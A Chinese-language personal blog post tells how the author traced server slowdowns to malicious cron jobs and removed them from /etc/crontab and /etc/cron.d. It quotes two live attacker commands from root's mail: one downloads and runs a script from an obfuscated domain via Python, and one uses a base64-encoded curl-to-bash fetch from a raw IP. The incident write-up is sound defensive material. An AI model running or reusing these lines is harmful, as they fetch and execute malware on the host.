问题的发现
初次遇见问题
我在自己服务器上安装docker 下玩具的时候发现 每次执行 命令总会又个系统邮件过来,很好奇但是没有当回事。平时玩儿云服务次数少,毕竟牛马人哪有那么多自己的时间,
这个是系统的定时任务或者其他上面如果遇到问题就会发送邮件到系统邮箱。 这里就是后面发现问题的关键。
You have new mail in /var/spool/mail/root
第二次遇见问题
某一天登录自己的堡垒机,访问云服务器做一些操作。发现服务器资源卡顿的实在是有点厉害,心里在想怕不是中病毒了。
但是勉强可以登录的云服务器上面,然后就是top 查看资源 发现kworker/0这个进程资源爆满了。网上查找资料以为是kworker/0挖坑病毒的攻击。也发现了crontab下面有下载执行病毒命令的脚本,给他删除了。然后就是查找伪装kworker的病毒所在。
发现并没有找到,然后就是kill kworker,但是过了一会儿又自己启动了, 然后这里我发现其实 这里的kworker并不是病毒,确实是系统进程。
这里我已经没有招, 只能寄希望与重启能解决90%的问题。 reboot 启动。然后发现重启后没问题了。绝了,难道真的是系统跑的时间长了真的会卡吗。
第三次遇见问题
这次真的忍不了了,我的frps 服务突然链接着 挂掉了,这服务用了那么长时间也没有出现过问题。突然挂掉真的忍不了。
再次链接上服务器,在本地发现我ping 都很难ping 通,而且top 一看发现内存几乎占满了。当时没有一个可疑的进程占用那么多资源,都是0.1 多少的。满脑子就是一个?号。
这次我终于去看/var/spool/mail/root 的问题了,发现里面总是出现这样的内容。
最有问题的内容就是这里
Subject: Cron <root@VM-8-14-centos> python -c "import urllib2; print urllib2.urlopen('http://ki\\s\\s.a-d\\og.t\\o\p/t.sh').read()" >.1;chmod +x .1;./.1
Subject: Cron <root@VM-8-14-centos> echo Y3VybCAtZnNTTCBodHRwOi8vMTg1LjE2MS43MC42Ny9iMmY2MjgvY3JvbmIuc2gK|base64 -d|bash|bash
一个是python下载脚本改名为 .1
赋予可执行权限 并且执行
一个是base64 解码然后下载一个脚本 并且执行
这真的绝啊,弄这么隐蔽。
然后就是找问题所在。
ps -ef | grep sh
查看进程号找到可执行文件位置
ls -al /proc/24968
发现执行命令的目录在/root , 但是我发现有python 的缓存目录和一些配置文件还有那个.1
. 这个可执行文件到底在那里。
这时候我突然脑子一惊醒,那个/var/spool/mail/root
文件里的内容不是定时任务里面的错误日志吗。 但是我当前用户下面的定时任务配置我上次就已经清除掉了,为什么还有呢.
这是我查了一下 crontab 还有一个全局的配置文件 /etc/crontab
绝了果然在这里面
删除配置重启 crond
服务。
systemctl restart crond
结果发现还有漏网之鱼 还有 /var/spool/mail/root
真绝了 那么在/etc/cron.d/ 文件下面有其他的定时任务文件
把zzh 干掉
rm -rf zzh
systemctl restart crond
终于圆满解决。顺便把那些垃圾进程干掉ok了。